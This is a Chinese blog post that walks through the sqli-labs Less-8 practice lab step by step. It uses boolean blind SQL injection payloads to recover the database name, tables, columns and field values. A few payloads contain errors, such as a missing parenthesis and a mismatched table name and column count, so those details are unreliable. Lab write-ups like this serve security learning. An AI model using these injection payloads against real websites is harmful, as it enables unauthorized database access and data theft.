【网络安全】sqli-labs Less-8 解题详析

本文详述了SQLi-Labs Less-8关卡的解题过程,从判断注入类型到查库名、表名、列名及字段,通过SQL盲注技巧逐步解析数据库结构。

原理可参考:【网络安全】SQL盲注?这一篇就够了

【网络安全】SQL注入原理及常见攻击方法简析

判断注入类型

由下图,可排除数字型注入:

在这里插入图片描述

初步判定为单引号字符型注入:

在这里插入图片描述
在这里插入图片描述


查库名

判断数据库名称长度

?id=1' and length(database())>7 --+ 回显error
?id=1' and length(database()>6 --+ 回显正常

故数据库名称长度为7

获取数据库名称组成

判断第一个字符
?id=1' and ascii(substr(database(),1,1))>105 --+ 回显正常

?id=1' and ascii(substr(database(),1,1))=115 --+ 回显正常

在这里插入图片描述
故第一个字符为s

同理得到数据库名称为security


查表名

判断表个数

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) =4 --+

在这里插入图片描述
回显正常,说明有四个表。

获取表名称长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =6 --+

在这里插入图片描述
得到第一个表名称长度为6

获取表名称组成

对数据库中第一个表名的第一个字符进行 ASCII 值的比较:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

回显正常,说明第一个字符为e

在这里插入图片描述
同理得到第一个表名称为emails


查列名

获取emails表的列数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 --+

为3时回显正常,说明列数为3

在这里插入图片描述

获取列名长度
判断第一个列名长度
?id=1' and length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))判断表达式 --+

得到第一个列名长度为2

在这里插入图片描述
获取emails表中第一个列名的第一个字符

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),1,1))判断表达式 --+

在这里插入图片描述
回显正常,故第一个列名的第一个字符为i

同理:第二个字符为d

在这里插入图片描述
所以emails表的其中一个列名为id


查字段

获取该列第一个字段长度
?id=1' and length(substr((select 列名 from 表名 limit 0,1),1))判断表达式 --+

在这里插入图片描述故该列第一个字段长度为1

获取该字段中的第一个字符

?id=1' and ascii(substr((select 列名 from 表名 limit 0,1),1,1))判断表达式 --+

由下图可知第一个字符为 1 :

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值